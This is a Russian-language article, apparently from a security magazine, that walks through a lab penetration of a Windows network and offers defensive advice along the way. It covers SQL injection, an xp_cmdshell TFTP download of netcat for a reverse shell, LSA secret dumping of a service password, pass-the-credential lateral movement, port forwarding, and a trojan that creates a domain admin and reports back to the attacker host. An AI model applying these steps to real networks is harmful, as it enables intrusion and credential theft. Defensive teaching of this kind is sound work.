Как злоумышленник может проникнуть в вашу сеть

Одна из главных тайн, связанных с управлением безопасностью, - методы, используемые криминальными хакерами. Разве можно защититься от атак, если вы не знаете, как они осуществляются? Готовьтесь к просветлению.

В этой статье я не собираюсь учить, как взломать защиту, а хочу показать, как злоумышленники могут воспользоваться вашими оплошностями. Благодаря этому вы избежите многих распространенных ошибок, облегчающих задачу криминальным хакерам.

Для начала пара слов о тестировании на возможность проникновения в систему (penetration testing). Прежде всего неграмотное проведение этого тестирования может негативно сказаться на стабильности сети. Некоторые инструменты, применяемые хакерами (с любой целью, не только со злым умыслом), разработаны для проверки сети на предмет уязвимости. Инструменты хакеров и программы, использующие дыры в защите систем, не всегда работают корректно, могут дестабилизировать систему или всю сеть и привести к другим непредвиденным последствиям. Специалист знает, что можно сделать с сетью, не нарушив ее работу, и когда следует остановиться. Любитель обычно этого не чувствует.

При защите сети полезно быть слегка параноиком. Одной из грубейших ошибок, которые может допустить системный администратор, является предположение, что все в порядке. Не доверяйте заявлениям о том, будто сеть надежно защищена. Очень часто вы будете получать от консультантов по безопасности отчеты, содержащие именно такой вывод, и то лишь потому, что им не удалось обнаружить уязвимости. Разумеется, из этого не следует, что сеть на самом деле защищена! Это лишь означает, что конкретным людям не удалось взломать сеть, но кто­то другой может оказаться более удачливым.

Сеть-мишень

Большинство современных сетей создано по принципу яйца: окруженные надежной оболочкой, они практически беззащитны внутри. Это означает, что, если хакер сможет получить в сети "точку опоры", остальные компьютеры падут, как костяшки домино. После проникновения в сеть самой сложной задачей хакера часто является определение следующей мишени и хранилища по­настоящему "вкусной" информации. Так быть не должно. Опираясь на адекватные методики, сетевые администраторы могут достигнуть двух важнейших целей: значительно затруднить захват точки опоры и ее использование для взлома других компьютеров.

Прежде чем я начну атаковать сеть, давайте поговорим о том, с чем мне придется столкнуться. Ясно, что в реальных условиях у хакеров редко бывают в распоряжении полные схемы сетей, но в нашем случае рассмотреть конфигурацию сети­мишени лишним не будет (рис. 1).

Рис. 1. Сеть-мишень

Как показано на иллюстрации, моя сеть­мишень представляет собой стандартную подсеть с двумя межсетевыми экранами, отделяющими ее от Интернета и остальной сети. По периметру сеть сконфигурирована обычным образом: она включает Web­сервер, сервер баз данных и контроллер домена (DC) демилитаризованной зоны (DMZ). Во внутренней части имеется корпоративный контроллер домена, получение контроля над которым и является конечной целью хакера.

Единственный необычный аспект этой сети, пожалуй, в том, что Web­сервер и контроллер домена DMZ выполняют функции маршрутизаторов. Это объясняется особенностями модели сети. Я создал ее на основе виртуальных машин, выполняемых в среде Microsoft Virtual PC 2004, чтобы эту модель можно было брать с собой для проведения демонстраций. На одном компьютере реалистично запускать лишь две виртуальные машины, т. е. для "развертывания" всей сети нужно вдвое меньше хостов. Если бы я использовал отдельные маршрутизаторы, мне пришлось бы брать с собой три ноутбука, а делать это мне бы не хотелось. Таким образом, я возложил на Web­сервер и контроллер домена DMZ функции маршрутизаторов, чтобы уменьшить число необходимых компьютеров (хостов). Уверяю вас, что эта несколько необычная конфигурация никак не влияет на то, что мы будем здесь обсуждать.

На первом этапе взлома любой сети нужно определить объект атаки - точку опоры в сети­мишени. При этом злоумышленников, в частности, интересуют:

• диапазоны сетевых адресов;
• имена хостов;
• доступные хосты;
• приложения, доступные на этих хостах;
• данные о версиях ОС и приложений;
• сведения о пакетах исправлений, установленных на хостах;
• структура приложений и внутренних серверов.

Давайте же обсудим, какую информацию хакер может получить и как он может это сделать.

Диапазоны сетевых адресов и имена хостов

Следующий этап взлома - определение логического расположения атакуемых сетей. Допустим, я хочу выполнить тестирование на возможность проникновения в системы домена contoso.com. Я начал бы пытаться взломать их с определения того, какие сети зарегистрированы в этом домене. Возможно, еще больший интерес представляют не открыто зарегистрированные диапазоны адресов contoso.com, а данные о сетях, связанных с сетью­мишенью, например об экстрасети или сетях деловых партнеров компании Contoso. Вполне вероятно, что легче будет взять под контроль домен poorsecurity.com и только потом атаковать contoso.com. Как прочность цепи определяется прочностью ее самого слабого звена, так и надежность защиты сети определяется связанной с ней сетью с самой слабой защитой (включая все подключенные к ней виртуальные частные сети).

Далее хакер должен узнать имена хостов. Иногда это удается сделать, выполнив запросы nslookup для крупных фрагментов сети, а в ряде случаев даже осуществить так называемую зонную передачу. Зонная передача (zone transfer) - это просто запрос, в результате которого DNS­сервер возвращает копию данных обо всей демилитаризованной зоне (список имен всех зарегистрированных в сети хостов). Хотя при большинстве атак знать имена хостов необязательно, это может значительно упростить атаку. Так, если вам известно имя сервера, на котором выполняется IIS, вы часто можете вычислить анонимную учетную запись IIS на этом хосте, так как обычно она называется IUSR_имя_хоста. Теперь предположим, что администратор настроил для Web­сервера блокировку учетных записей (account lockout). Для вывода Web­сервера из строя хакеру нужно лишь отправить ему большое число запросов на аутентификацию под учетной записью IUSR_имя_хоста. За считанные секунды серверу можно отправить столько неверных паролей, что этого будет достаточно для блокировки учетной записи анонимного пользователя. Продолжая отправлять достаточное число неверных паролей, хакер может добиться того, что Web­сервер не сможет обслуживать реальные запросы.

Доступные хосты и приложения

Имена хостов - полезная информация, но еще больше хакера интересуют доступные (exposed) хосты. На этом этапе атаки я пытаюсь обнаружить легкие цели. Иногда это совсем просто. Вполне возможно, что для этого даже не потребуются никакие хакерские инструменты, если на периметре сети трафик ICMP (Internet Control Message Protocol) не блокируется. В этом случае достаточно выполнить следующую команду:

c:discoverHosts 192.168.2

192.168.2.30

Ясно, что IP­адрес нужно было бы скорректировать с учетом соответствующего диапазона адресов. Однако в этом примере я просто отправляю эхо­запрос ICMP каждому хосту конкретной сети. Если трафик ICMP не блокируется, на экран будет выведен список корректных адресов в сети.

В подавляющем большинстве случаев трафик ICMP следует перенаправлять на границе сети в /dev/null. Даже примитивные межсетевые экраны должны блокировать трафик ICMP, но администраторы на удивление часто забывают проверить, блокируется ли он на самом деле. Никакие ответы на ICMP­запросы отправлять не следует. Это не предотвратит перечисление хостов, но значительно затруднит такую операцию, поскольку хакеру придется использовать специальные инструменты вроде сканера портов.

Сканер портов - это программа, которая пытается соединиться с портами целевого хоста и сообщает, удалось ли ей это. Если да, значит, хост прослушивает соответствующий порт. Если соединение установить не удалось, обычно это означает, что конкретный порт закрыт. Самым популярным типом сканирования портов является сканирование с флагом SYN - при этом хакер пытается установить обычное соединение с целевым хостом. Если хост прослушивает данный порт, соединение будет установлено и сканер портов уведомит хакера о том, что порт открыт. На сканирование портов даже всех хостов в сети требуется совсем немного времени. Сканируя грамотно выбранные диапазоны портов, вы можете получить огромный объем информации о том, что именно доступно в конкретной сети.

Сканирование портов позволяет узнать, какие выполняемые на хосте приложения доступны другим системам, что указывает возможные направления атаки. В число приложений, которые обычно интересуют хакеров, входят FTP­клиенты и серверы, Telnet, почтовые серверы и Web­серверы HTTP.

Информация о версиях ПО и пакетах исправлений

Информация о версиях приложений, выполняемых на целевом компьютере, очень полезна, если вам удастся ее получить. Например, многие приложения отправляют подключающимся к ним хостам тот или иной заголовок. Так сконфигурировано большинство SMTP­ и POP­серверов, а также многие Web­серверы. Однако в нашем случае сеть­мишень включает компьютеры, работающие под управлением Windows Server 2003 и выполняющие IIS 6.0, а IIS 6.0 не отправляет заголовки с какой­либо полезной для хакера информацией.

Кроме того, хакера очень интересует, какие пакеты исправления установлены на доступные серверы. Эту информацию можно получить разными способами. Иногда все, что нужно знать, находится в заголовках, отправляемых приложениями. Так, заголовки sendmail обычно включают номер версии демона. Если вам известно, в каких версиях sendmail все еще не устранена та или иная брешь, больше ничего знать и не нужно. В других случаях вы можете узнать, установлено ли в системе конкретное исправление, по ее ответам на запросы. По сути, именно на этом основана работа хороших сканеров брешей в защите систем и инструментов определения операционных систем. Наконец, вы всегда можете запустить программу, использующую конкретную дыру в защите систем, и посмотреть, что получится. Многие сканеры брешей в защите так и делают перед атаками типа "отказ в обслуживании". Если после атаки система реагирует на запросы, скорее всего она надежно защищена от таких атак.

Структура приложений и внутренних серверов

Очень полезной часто оказывается информация о структуре приложений и внутренних серверов, если таковые имеются. Как правило, получить ее очень сложно, но иногда удача улыбается хакерам. Например, в сети­мишени выполняется некое Web­приложение с очень специфическими именами файлов и дизайном страниц. Если это так, хакеру сразу же станет ясно, что это за приложение. Если злоумышленник знаком с приложением, ему могут быть известны и способы его взлома. Так, в приложении может использоваться конфигурационный файл %webroot%system.config. Если Web­сервер не блокирует доступ к файлам с расширением .config, хакер может просто запросить этот файл в браузере. В худшем для хакера случае он узнает только имена внутренних серверов, баз данных или что­то подобное, в лучшем - имя пользователя и пароль для установления соединения между Web­сервером и сервером базы данных.

Не думайте, будто я преувеличиваю. Именно с такой ситуацией я столкнулся несколько месяцев назад, пытаясь хоть как­то сделать сеть одного из клиентов более защищенной. Очень многие коммерческие Web-приложения написаны на редкость плохо, что, по сути, делает их "потайными ходами" (backdoors) в сеть.

Теперь у меня есть практически вся информация, нужная для начала атаки. Первым делом я должен захватить в сети начальную точку опоры - так сказать, проколоть яичную скорлупу.

Начальная атака

Допустим, первоначальный анализ сети­мишени показал, что на входящие в нее системы установлены все исправления и что ее защищает по­настоящему надежный межсетевой экран, блокирующий все порты, кроме 80 и 443 (порты HTTP и HTTPS по умолчанию). Что делать дальше? Вспомните, что я сказал про потайные ходы. Где их можно обнаружить? С чем я имею дело? Прежде всего следует изучить то, что доступно, т. е. Web­приложение. Главная страница Web­сервера показана на рис. 2. По ней одной можно сказать, что сайт предназначен для заказа какой­то продукции. Давайте воспользуемся обычной учетной записью, чтобы получить больше информации о системе.

Рис. 2. Главная страница сайта contoso.com

На следующей странице выводится информация о книжном магазине Pubs и список продаваемых книг. Кроме того, на ней показывается введенное мной имя пользователя. Это может оказаться мне на руку, если администраторы сайта были невнимательны, потому что я смогу попробовать ряд других методик. Например, у меня есть подозрение, что на этом сайте реализован плохой алгоритм проверки имен пользователей и паролей (смелое заявление, если учесть, что я сам написал этот алгоритм!). Меня также интересует, насколько полно проверяются данные, введенные в поле имени пользователя. Чтобы узнать это, применим методику, называемую атакой с внедрением SQL­кода (SQL injection attack). Введем вместо имени пользователя следующую строку:

foo' OR 1=1;--

Это приводит к результатам, показанным на рис. 3.

Рис. 3. Вставка SQL-кода (и кросс-сайтовое выполнение сценариев) в действии

Как видите, я не просто вошел в систему, но приложение еще и вывело указанное мной "имя пользователя". Это отдельная брешь, из­за которой становится возможным так называемое кросс­сайтовое выполнение сценариев (cross­site scripting, CSS); при этом введенная пользователем информация отображается на экране без предварительной обработки.

Ясно, что никакого пользователя с именем "foo' OR 1=1;­­" быть не может, так почему же мне удалось войти в систему? Все дело в безграмотном проектировании приложения. В нем предполагается, что если в ответ на ввод имени пользователя с конкретным паролем база данных вернула какие­либо результаты, учетные данные корректны и вход в систему следует разрешить. Проводя атаку, основанную на внедрении SQL­кода, я переписал запрос базы данных, включив в него выражение OR 1=1. Это условие истинно, поэтому весь запрос интерпретируется как истинный для всех записей в базе данных. В результате этого возвращаются учетные данные всех пользователей, содержащиеся в базе данных, а это означает, что приложение разрешило мне войти в систему.

Теперь я могу отдавать произвольные команды серверу базы данных. Я воспользуюсь этой возможностью для атаки с расширением привилегий (elevation of privilege attack).

Расширение привилегий

Как вы уже видели, сервер базы данных из Интернета напрямую не доступен, а на внешний сервер установлены все исправления, из­за чего он неуязвим перед всеми известными атаками. На этом этапе моей целью является расширение привилегий, чтобы стать внутренним пользователем (желательно высокопривилегированным) на одной из систем сети­мишени. Для этого я воспользуюсь внедрением SQL­кода. Опираясь на эту методику, я отправлю серверу базы данных ряд команд, чтобы он кое­что для нас сделал. Я не могу подключиться непосредственно к серверу базы данных, поэтому я просто укажу ему, чтобы он сам установил для меня соединение, только перед этим я создам во внешней сети слушатель портов.

Прежде чем я смогу отдавать команды серверу базы данных, нужно установить кое­какие программы на Web­сервер. Это важно, потому что, вообще говоря, хакерские утилиты по умолчанию в операционной системе не устанавливаются. Для этого можно использовать TFTP (Trivial File Transfer Protocol) - протокол, не требующий установления логических соединений и применяемый в основном для загрузки бездисковых рабочих станций. Клиентское приложение TFTP устанавливается на все системы Windows по умолчанию (за исключением Windows Server 2003 с Service Pack 1 и более поздних версий), поэтому, если его никто не удалил, оно будет доступным. Так как система уязвима перед атакой с внедрением SQL­кода, я могу отдать серверу базы данных команду загрузить из сети программу netcat по протоколу TFTP. Netcat - это сетевая утилита, похожая на telnet, но отличающаяся от нее отсутствием аутентификации и гораздо большей универсальностью. Она свободно доступна в Интернете и даже входит в состав многих дистрибутивов UNIX и Linux. Ее часто используют хакеры, поэтому оставлять ее в системе без крайней необходимости нельзя.

Этот этап атаки основан на вызове хранимой процедуры xp_cmdshell, которая устанавливается в SQL Ser­ver по умолчанию и применяется для выполнения команд ОС. (Расширенная процедура xp_cmdshell - мощное средство, доступное по умолчанию только системным администраторам. Разработчики SQL Server не рекомендуют разрешать ее выполнение другим пользователям. Кроме того, некоторым системным администраторам эта процедура не нужна. В SQL Server 2005 она устанавливается только по требованию, что создает дополнительный уровень безопасности. Заметьте, что в сценарии, описываемом в этой статье, Web­приложение подключается к базе данных в контексте учетной записи sa, т. е. взломщик является системным администратором.) Я воспользуюсь этой процедурой для запуска TFTP и закачки моих утилит на сервер базы данных. В большинстве сред потребность в процедуре xp_cmdshell возникает редко, поэтому ее можно заблокировать для защиты от атаки, которую я как раз сейчас и провожу. После закачки netcat на сервер я указываю этой утилите создать сокет, после чего передаю его как stdin, stdout и stderr в вызове cmd.exe. Звучит сложно, но работает прекрасно. Результат - установление исходящего соединения, позволяющего передавать через сокет команды с помощью командной оболочки. Теперь в моем распоряжении есть командная оболочка на удаленном компьютере:

c:>nc -l -p 12345

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:WINNTsystem32>hostname

hostname

PYN-SQL

Итак, я получил первую точку опоры, сделав очередной шаг к захвату сети. Я расширил свои привилегии, став внутренним пользователем вместо удаленного анонимного. Чтобы узнать тип пользователя, я должен сначала загрузить в систему остальные утилиты. Я воспользуюсь ими для расширения локальных привилегий в случае надобности, а также для взлома остальных систем сети. Эти утилиты также можно передать, используя tftp.exe. После этого я могу проверить свои учетные данные на взломанной системе:

C:warez>whoami

whoami

NT_AUTHORITYSYSTEM

Ну вот, я уже и LocalSystem! То есть SQL Server выполнил процедуру xp_cmdshell в контексте LocalSystem, и я полностью взломал внутренний сервер базы данных. Можно приступать к взлому других систем.

Взлом других компьютеров

Итак, я проткнул скорлупу яйца, и теперь моя цель - полностью "завладеть" сетью. Однако перед этим стоит получше изучить мишень с помощью утилиты dumpinfo (листинг 1), которая получает информацию о системе, используя для этого null­сеанс - анонимное соединение (т. е. соединение, устанавливаемое без аутентификации).

Листинг 1. Информация о локальном хосте, выведенная dumpinfo

C:warez>dumpinfo 127.0.0.1

The Administrator is: PYN-SQLAdministrator

Users on PYN-SQL:

RID 1000 PYN-SQLTsInternetUser a User

RID 1001 PYN-SQLSQLDebugger a User

Share Type Comment

IPC$ Unknown Remote IPC

ADMIN$ Special Remote Admin

C$ Special Default share

Administrators:

PYN-SQLAdministrator

PYN-DMZ_ids

PYN-DMZDomain Admins

Опираясь на эти данные, можно сделать вывод, что в данной системе не так уж много интересного; она очень похожа на систему по умолчанию. Перед продолжением атаки предлагаю немного осмотреться. Запустив ipconfig.exe (листинг 2), я могу узнать свой IP­адрес и конфигурацию системы. Обратите внимание, что у этого компьютера частный адрес, так что мое соединение, должно быть, осуществляется через маршрутизатор с NAT, имеющий адрес 172.17.0.1. Эта информация еще пригодится.

Листинг 2. Информация о хосте PYN-SQL, выведенная ipconfig

C:warez>ipconfig /all

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . : PYN-SQL

Primary DNS Suffix . . . . . . . : PYN-DMZ.LOCAL

Node Type . . . . . . . . . . . . : Mixed

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : PYN-DMZ.LOCAL

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Intel 21140 Based

PCI Fast Ethernet

Adapter

Physical Address. . . . . . . . . : 00-03-FF-03-3E-F0

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . : 172.17.0.3

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 172.17.0.1

DNS Servers . . . . . . . . . . . : 172.17.0.2

Теперь хакер попытался бы найти в защите дыры, которые легко использовать. Наверное, проще всего задействовать учетные записи служб сетевого доступа к общим ресурсам, если таковые службы имеются. Высокая вероятность успеха этой атаки объясняется тем, что самый легкий способ конфигурирования таких служб на множестве систем - их запуск на этих системах под одними и теми же доменными учетными записями. В некоторых средах используются локальные учетные записи, но их учетные данные совпадают на большинстве систем. И если мы найдем какие­либо службы, выполняемые под учетными записями обычных пользователей (а не системными вроде LocalSystem, NetworkService и LocalService), то они скорее всего применяются во многих системах.

Чтобы узнать, реалистична ли эта атака, проверим, под какой учетной записью работают службы на взломанном мной сервере базы данных:

C:warez>serviceuser \PYN-SQL

IDS

PYN_DMZ_ids

Как видите, мы обнаружили учетную запись домена, задействованную для выполнения службы IDS (вероятно, это служба Intrusion Detection Service). Может ли это оказаться полезным? Пожалуй, следует узнать более подробную информацию об этой учетной записи командой net (листинг 3).

Листинг 3. Перечисление локальных администраторов

C:warez>net localgroup administrators

Alias name administrators

Comment Administrators have complete and

unrestricted access to the

computer/domain.

Members

----------------------------------------------

Administrator

PYN-DMZDomain Admins

PYN-SQLAdministrator

PYN-DMZ_ids

The command completed successfully.

The _ids account is a domain account;

and it is a local administrator.

Конечно, было бы лучше, если бы это была доменная учетная запись, но и полученный результат вселяет оптимизм. Чтобы понять, что можно сделать с этой учетной записью, нужно знать кое­какие детали работы Windows. Службы - это приложения, запускаемые при загрузке системы. Как и любые другие процессы в системе, службы должны выполняться под идентификацией какого­то пользователя. При запуске службы ОС аутентифицирует учетную запись, используемую для выполнения этой службы. Для этого системе нужны имя пользователя и пароль, которые хранятся в компоненте Local Security Authority (LSA) Secrets. Подсистема LSA хранит в нем некоторую конфиденциальную информацию, такую как данные учетных записей компьютера и служб, а также шифровальные ключи.

"Секреты" LSA содержатся на диске в зашифрованном виде и дешифруются операционной системой при загрузке компьютера. Пока компьютер работает, они присутствуют в адресном пространстве процесса LSA в незашифрованном виде. Для получения этой информации к процессу LSA нужно подключить отладчик. Это может показаться сложным, но существуют утилиты, разработанные специально с этой целью. Имейте в виду, что LSA работает в контексте Local­System, а подключить отладчик к процессу, выполняемому как LocalSystem, может не каждый - это было бы серьезной брешью в защите и противоречило бы всем моделям обеспечения безопасности. Как бы то ни было, эта возможность есть у всех пользователей, имеющих право SeDebugPrivilege, т. е. по умолчанию только у членов группы Administrators. Защита системы от этого не страдает, потому что администраторы и так могут делать что угодно, в том числе предоставить себе право SeDebugPrivilege. Проблема возникает, когда эту привилегию получают недоверяемые пользователи. В данном случае мне незачем волноваться об этом, потому что моя командная оболочка на удаленном компьютере выполняется в контексте LocalSystem. Иными словами, я работаю в том же контексте, что и процесс LSA, а потому могу подключать к нему отладчик независимо от того, есть у меня эта привилегия или нет.

В листинге 4 показан вывод утилиты Lsadump в усеченном виде; по­настоящему интересный фрагмент находится в самом конце, где сообщаются данные учетной записи службы. Как видите, в правом столбце находится пароль учетной записи службы. Теперь мне известно имя пользователя службы (_ids) и его пароль ("idsPasswd!"); наличие точек в пароле объясняется тем, что он представлен в формате Unicode, поэтому точки следует рассматривать как null. Нам осталось выяснить, на каком компьютере нужно воспользоваться этой учетной записью. Выполнение команды ping для всех хостов подсети показывает, что в ней есть лишь два других компьютера с адресами 172.17.0.1 (шлюз) и 172.17.0.2 (DNS­сервер). Думаю, стоит узнать о них побольше. Для этого я снова воспользуюсь утилитой dumpinfo. По умолчанию в null­сеансе некоторые Windows­системы предоставляют больше информации, чем другие. Типичный результат показан в листинге 5.

Листинг 4. Вывод lsadump

C:warez>lsadump2

$MACHINE.ACC

13 FE 4C 3A 04 F8 1F 94 75 C8 9B 0B 1C 35 45 7A ..L:....u....5Ez

52 7E 25 DF F8 17 F2 96 3A 35 81 C7 R~%.....:5..

DefaultPassword

DPAPI_SYSTEM

01 00 00 00 C8 AA F8 8C 36 C7 69 CC DD 42 CB 15 ........6.i..B..

3F 4E 07 6D 48 05 0A 4C FE 31 87 C9 F2 58 A3 AD ?N.mH..L.1...X..

B7 AD 13 20 26 11 24 24 FF 79 AE D3 ... &;.$$.y..

...

_SC_IDS

69 00 64 00 73 00 50 00 61 00 73 00 73 00 77 00 i.d.s.P.a.s.s.w.

64 00 21 00 d.!.

Листинг 5. Информация о шлюзе, выведенная dumpinfo

C:warez>dumpinfo 172.17.0.1

Unable to look up the local administrator

Unable to enumerate users because I could not get the Admin Sid

Share Type Comment

IPC$ Unknown Remote IPC

ADMIN$ Special Remote Admin

wwwroot$ Disk

C$ Special Default share

Administrators:

Unable to enumerate administrators

ERROR: Access Denied

Информация об этой системе довольно скудна, потому что она является рядовым сервером под управлением Windows Server 2003. Учтите, что в случае автономных и рядовых серверов под управлением Windows Server 2003 null­сеанс позволяет перечислить только общие ресурсы системы, а не пользовательские учетные записи по умолчанию. Однако, судя по выводу dumpinfo, на основном шлюзе (default gateway) работает Web­сервер; это следует из наличия общего каталога wwwroot$. Заметьте, что я получил список всех так называемых скрытых общих каталогов (с постфиксом $). Знак доллара просто уведомляет API­функции на клиентской стороне о том, что отображать этот элемент не следует, но dumpinfo это уведомление игнорирует.

Также было бы неплохо узнать, какие службы активны в этой системе, - так мы сможем определить, какие типы соединений она поддерживает. И вновь на помощь приходит сканер портов:

C:warez>portscan 172.17.0.1

Port 172.17.0.1:80 open

Port 172.17.0.1:135 open

Port 172.17.0.1:139 open

Port 172.17.0.1:445 open

Port 172.17.0.1:3389 open

Это на самом деле мало что дает мне, но подтверждает, что я могу установить со шлюзом/Web­сервером соединения SMB (порты 139 и 445) и Terminal Services (порт 3389). Чуть позже эта информация нам очень пригодится.

Давайте пока получше ознакомимся с другой системой, информация о которой показана в листинге 6.

Листинг 6. Информация о DNS-сервере, выведенная dumpinfo

C:warez>dumpinfo 172.17.0.2

The Administrator is: PYN-DMZAdministrator

Users on PYN-DMZ-DC:

RID 1000 PYN-DMZHelpServicesGroup an Alias

RID 1001 PYN-DMZSUPPORT_388945a0 a User

RID 1002 PYN-DMZTelnetClients an Alias

RID 1003 PYN-DMZPYN-DMZ-DC$ a User

RID 1104 PYN-DMZDnsAdmins an Alias

RID 1105 PYN-DMZDnsUpdateProxy a Group

RID 1106 PYN-DMZFAjenstat a User

RID 1107 PYN-DMZAAlberts a User

RID 1108 PYN-DMZHAcevedo a User

RID 1109 PYN-DMZMAlexander a User

RID 1110 PYN-DMZKAkers a User

RID 1111 PYN-DMZTAdams a User

RID 1112 PYN-DMZKAbercrombie a User

RID 1113 PYN-DMZSculp a User

RID 1114 PYN-DMZSAbbas a User

RID 1115 PYN-DMZMAllen a User

RID 1116 PYN-DMZJAdams a User

RID 1117 PYN-DMZSAlexander a User

RID 1118 PYN-DMZHAbolrous a User

RID 1119 PYN-DMZPAckerman a User

RID 1120 PYN-DMZGAlderson a User

RID 1121 PYN-DMZPYN-SQL$ a User

RID 1122 PYN-DMZPYN-WEB$ a User

RID 1123 PYN-DMZ_IDS a User

Share Type Comment

IPC$ Unknown Remote IPC

NETLOGON Disk Logon server share

ADMIN$ Special Remote Admin

SYSVOL Disk Logon server share

C$ Special Default share

Administrators:

Unable to enumerate administrators

ERROR: Access Denied

Должно быть, это контроллер домена, потому что имена доменных учетных записей начинаются с PYN­DMZ, а хост имеет имя PYN­DMZ­DC. По умолчанию контроллеры домена в Windows Server 2003 конфигурируются так, чтобы обеспечить их совместимость с контроллерами домена, работающими под управлением более ранних версий Windows Server (down­level compatibility). Они предоставляют анонимным пользователям доступ ко всей информации за исключением списка администраторов. Ради полноты картины просканируем порты этой системы:

C:warez>portscan 172.17.0.2

Port 172.17.0.2:53 open

Port 172.17.0.2:135 open

Port 172.17.0.2:139 open

Port 172.17.0.2:389 open

Port 172.17.0.2:445 open

Port 172.17.0.2:3268 open

Состояние порта 3268 свидетельствует о том, что данная система скорее всего является сервером глобального каталога для леса. Это делает ее очень привлекательной мишенью. Любопытно, что службы Terminal Services на этом компьютере не активированы.

Я все еще не знаю, на каком компьютере используется учетная запись _ids, и попытаюсь выяснить это методом проб. Испытывать ее на контроллере домена нет смысла, так как мне известно, что на нем нет такой учетной записи. Обратим взор на Web­сервер. Перед проверкой учетной записи на Web­сервере нужно узнать его имя. Я применю утилиту GetSystemInfo:

C:warez>GetSystemInfo 172.17.0.1

Server info on 172.17.0.1

Name: PYN-WEB

Domain: PYN-DMZ

Version: 5.2

Platform ID: 500

Comment:

Server Flags:

Workstation

Server

Dial-in Server

GetSystemInfo - очень простая программа, которая подключается к системе и запрашивает у нее информацию из раздела реестра HKLMSoftwareMicrosoftWindows NTCurrentVersion. Как видите, система называется PYN­WEB. Я все еще не знаю, как ее взломать, но могу попробовать следующее:

C:warez>serviceuser \PYN-WEB

IDS PYN-DMZ_ids

Я почти добрался до нужной информации, потому что на Web­сервере также выполняется служба IDS под той же учетной записью. Теперь можно пробовать учетную запись _ids:

C:warez>net use \172.17.0.1c$ /u:pyn-dmz_ids idsPasswd!

The command completed successfully.

Я взял под контроль Web­сервер! Моя очередная цель - захватить сам домен и использовать его как плацдарм для получения контроля над корпоративным доменом.

Получение контроля над доменом

На данный момент я взломал сервер базы данных и Web­сервер (по сути, все, кроме контроллера домена). Но что я получил, взломав Web­сервер? Чтобы узнать это, я должен закачать на сервер свои программы и запустить на нем командную оболочку, как и в случае сервера базы данных. Теперь сделать это чуть проще, потому что мне доступно административное SMB­соединение с Web­сервером, обеспечивающее легкий доступ к нему. Например, сейчас я могу запланировать выполнение какой­либо команды или запустить в удаленном режиме ту или иную командную оболочку.

Получив в свое распоряжение локальную командную оболочку, я могу использовать все привычные инструменты. Например, я могу легко определить всех локальных администраторов. Как ясно по листингу 7, учетных записей в этой системе немного. Я вижу лишь учетные записи уже известной службы, локального администратора и администраторов домена. Вероятно, для администрирования системы используется учетная запись администратора домена. Возможно, это позволит получить контроль над доменом при помощи троянского коня. Вообще говоря, хакер предпочел бы прямую атаку, так как она быстрее дает результат. Тем не менее, если все остальные меры не приведут к успеху, я смогу достичь цели путем пассивной атаки. Возможно, вы заметили, что я до сих пор не имел дела ни с какими диалоговыми окнами. Могу ли я использовать для продолжения атаки GUI? Конечно, но с этим связаны некоторые нюансы.

Листинг 7. Идентификация локального администратора

C:warez>net localgroup administrators

Alias name administrators

Comment Administrators have complete and

unrestricted access to the computer/domain

Members

----------------------------------------------

Administrator

PYN_DMZ_ids

PYN-DMZDomain Admins

The command completed successfully.

Если помните, у межсетевого экрана открыто только два порта: 80 и 443. Никакие программы на Web­сервере не прослушивают порт 443, поэтому я могу связать с ним свой слушатель, не нарушив работы системы и не вызвав подозрений у администраторов. Связывание служб Terminal Services с этим портом было бы очень заметным.

Службы Windows Terminal Services (использующие Remote Desktop Protocol) прослушивают порт 3389. Сканирование портов сервера базы данных показывает, что этот порт действительно открыт:

C:warez>portscan 172.17.0.3

Port 172.17.0.3:135 open

Port 172.17.0.3:139 open

Port 172.17.0.3:445 open

Port 172.17.0.3:1433 open

Port 172.17.0.3:3389 open

Я не могу установить прямое соединение с сервером базы данных, потому что он относится к сети с NAT и недоступен из Интернета. Тем не менее, я могу добраться до него, запустив на Web­сервере программу перенаправления трафика на другой порт, которая будет принимать трафик, поступающий Web­серверу через порт 443, и отправлять его SQL­серверу в порт 3389:

C:warez>socketpipe 443 88 3389 172.17.0.3

Открыв этот сокет, я просто устанавливаю соединение с Web­сервером с помощью клиента Terminal Services:

mstsc /v:192.168.2.30:443

Теперь, когда я могу войти в систему под учетной записью пользователя _ids, я получаю полный доступ к GUI (который, как считают некоторые, уступает командной строке, но это не имеет значения).

Как бы то ни было, но контроллер домена еще не пал. Для захвата контроля над ним я воспользуюсь собственным троянским конем. Сначала я зарегистрирую его на Web­сервере (172.17.0.1), используя соединение Terminal Services:

c:warez>EvilTrojan -r 172.17.0.1 -a 192.168.2.112

Троянский конь регистрирует себя в разделе реестра HKLMSoftwareMicrosoftWindowsCurrentVersionRun и поэтому будет запускаться при каждом входе пользователя в систему. Если пользователь окажется администратором домена, троянский конь создаст в домене новую учетную запись пользователя и добавит ее в группу администраторов домена. Если ему это удастся, он запустит службу Messenger и отправит мне (в данном случае по адресу 192.168.2.112) административное оповещение. Затем, чтобы скрыть следы, он удалит себя из раздела Run. Все это произойдет в то время, пока администратор будет входить в систему, и тот ничего не заметит. В итоге в системе останется единственный признак того, что случилось что­то неподобающее - файл avcheck.exe в каталоге Windows.

Конечно, можно реализовать и другие способы тайной отправки уведомлений. В реальности хакеры часто используют для этого IRC (Internet Relay Chat). Уведомлением может быть даже не вызывающая подозрений HTTP­транзакция. Теперь мне осталось только дождаться, когда в систему войдет администратор домена, и я получу столь нужное мне уведомление:

C:>nc -l -p 80

Succeeded in adding a user.

User: attacker$

Password: "Uare0wn3d!"

Domain: PYN-DMZ

DC: PYN-DMZ-DC

Получать уведомления можно как угодно. Мой троянский конь просто открывает сокет, связанный с 80­м портом хоста хакера и отправляет уведомление в этот порт. Уведомления можно шифровать, кодировать, отправлять с применением практически любых портов и протоколов и изменять самыми разными способами. Как я уже говорил, для получения уведомлений часто используют каналы чатов IRC.

Итак, домен DMZ взломан, и я захватил контроллер домена. Помните, что это хранитель ключей от царской сокровищницы, в которой помимо прочего можно найти базу данных учетных записей пользователей. Пытаясь воспользоваться обретенной мощью, я снова прошу контроллер домена соединиться со мной, чтобы запустить командную оболочку в удаленном режиме. После этого я продолжаю изучать среду, в которой очутился (листинг 8).

